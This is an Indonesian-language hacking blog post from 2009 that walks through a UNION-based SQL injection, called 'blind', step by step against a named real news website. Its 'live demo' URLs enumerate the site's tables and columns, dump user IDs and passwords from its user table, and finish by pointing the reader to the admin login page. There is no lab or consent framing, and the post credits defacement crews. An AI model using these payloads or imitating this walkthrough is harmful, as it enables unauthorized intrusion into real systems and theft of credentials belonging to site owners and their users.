Minggu, Januari 11, 2009

Blind SQL Injection

~~Oleh : Selalu_ngantuk~~

sepintas tekhnik ini sama dengan tekhnik SQL pada umumnya...

Pengertian sql injection:
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --



###################
## +step Satu+ ##
###################

carilah target
misal: [site]/berita.php?id=

disini saya memilih :

http://www.lampungpost.com/aktual/berita.php?id=12

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh: [site]/berita.php?id=100' atau
[site]/berita.php?id=-100

contoh :
http://www.lampungpost.com/aktual/berita.php?id=-12

sehingga muncul pesan error .

###################
## +step dua+ ##
###################

mencari dan menghitung jumlah table yang ada dalam databasenya...

seperti yang kita ketahui bersama pada SQL injection untuk menghitung jumlah table pada databasenya
menggunakan perintah : order by

contoh :
[site]/berita.php?id=-12 order by 1--
[site]/berita.php?id=-12 order by 2--

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 order by 1--
http://www.lampungpost.com/aktual/berita.php?id=-12 order by 2--

hingga muncul pesan error...

namun untuk kasus tertentu order by tidak dapat digunakan ...

pada blind SQL kita dapat mengetahui jumlah table yang ada dengan cara Melakukan column count !!!

contoh melakuan column count :

union select diikuti dengan angka.

maka: [site]/berita.php?id= union select 1/*
maka: [site]/berita.php?id= union select 1,2/*
maka: [site]/berita.php?id= union select 1,2,3/*

hingga keluar angka pada tampilan web target

livedemo:
maka: http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,2,3,4,5,6,7,8,9/*

ternyata yang keluar sampai angka 9
ok angka yg keluar angka 9 dan 2

###################
## +step tiga+ ##
###################

menampilkan table...

pada SQL injection untuk menampilkan table adalah memasukkan perintah group_concat(table_name) pada angka yg keluar tadi
dan perintah +from+information_schema.tables+where+table_schema=database() setelah angka terakhir

contoh :
[site]/berita.php?id=-12+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,2,3,4,5,6,7,8,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()----

jika gagal kita dapat mengganti querynya

query yang kita gunakan adalah : union select table_name from information_schema.tables where table_schema=database() limit 0,1

masukan "table_name" pada angka yang keluar (9 atau 2) diikuti "from information_schema.tables where table_schema=database() limit 0,1"

menjadi , [site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*

disini saya menggunakan 2.

livedemo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 0,1/*

####################
## +step empat+ ##
####################

mengeluarkan table_name yang lain.

untuk mengeluarkan table_name yang lain ganti nilai limit menjadi , 1,1 , 2,1 , 3,1 ....

hingga mendapatkan table yang kita inginkan !!!

[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*
[site]/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 3,1/*

live demo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 1,1/*
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,table_name,3,4,5,6,7,8,9 FROM information_schema.tables where table_schema=database() limit 2,1/*

dan hasilnya :
1,1 : aktual_berita
2,1 : aktual_kategori
3,1 : berita
4,1 : category
5,1 : iklan
10,1: user

dan tabel yang kita butuhkan ada pada limit 10,1 ( user )

###################
## +step lima+ ##
###################

ada tahap ini kamu wajib mengekstrax kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya

website yg digunakan untuk konversi :
http://ascii-convert.tk/

kata user menjadi : 75736572

maka :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=user limit 0,1/*
menjadi
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*

livedemo :
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*

untuk mengetahui isi pada table user anda dapat mengganti nilai limit :
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*

live demo:
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 0,1/*
http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from information_schema.columns where table_name=0x75736572 limit 1,1/*

dan hasilnya :
0,1 : userid
1,1 : password
1,2 : description
1,3 : auth

* Setiap bilangan hexa harus di tambah 0x
contoh : bilangan hexa dari indonesiacoder = 696E646F6E65736961636F646572
bila di gunakan akan menjadi = 0×696E646F6E65736961636F646572

###################
## +step enam+ ##
###################

mengeluarkan field .

query yang kita gunakan adalah : UNION SELECT column_name FROM table_name

column_name :userid, password
table_name :user

masukan column_name pada angka yang keluar kemudian FROM table_name

menjadi,
[site]/berita.php?id=-12 union select 1,column_name,3,4,5,6,7,8,9 from table_name/*

contoh
[site]/berita.php?id=-12 union select 1,password,3,4,5,6,7,8,9 from user/*

live demo:
karena angka yang keluar 2 dan 9 maka ,

http://www.lampungpost.com/aktual/berita.php?id=-1 union select 1,password,3,4,5,6,7,8,userid from user/*

http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,concat(userid,0x3a,password,0x3a,description),3,4,5,6,7,8,9 from user/*

* Mengunakan Concatenation

Concatenation adalah kondisi dimana kamu ingin mengeluarkan field dengan banyak colomn_name atau karna kurangnya angka yang keluar saat blind union. untuk string Concatenation pada mysql adalah CONCAT(A,B,C,...)

contoh:
kondisi kurangnya angka yang keluar saat blind union.
column_name : userid, password, description
table_name :user
angka yang keluar: 2 dan 9

bagaimana kita mengeluarkan field dengan 3 column_name sedangkan angka yang keluar hanya 2 (2 dan 9), jawabanya menggunakan concat() tadi.

http://www.lampungpost.com/aktual/berita.php?id=-12 union select 1,concat(0x3a,userid,password,description),3,4,5,6,7,8,9 from user/*

###################
## +step enam+ ##
###################

tahap terakhir mencari halaman admin atau login

thanks to : Paman , X-shadow , gonzhack , dontukulesto , M364TR0N , Cyb3R_tr0n , bayu5154 , tucker , petrucii , M3NW5 , Mr.Joker , #00000 , miSs cHerCut
Spesial thanks to : INDONESIACODER CREW , DEFACER.BIZ CREW , PAGUNCODING CREW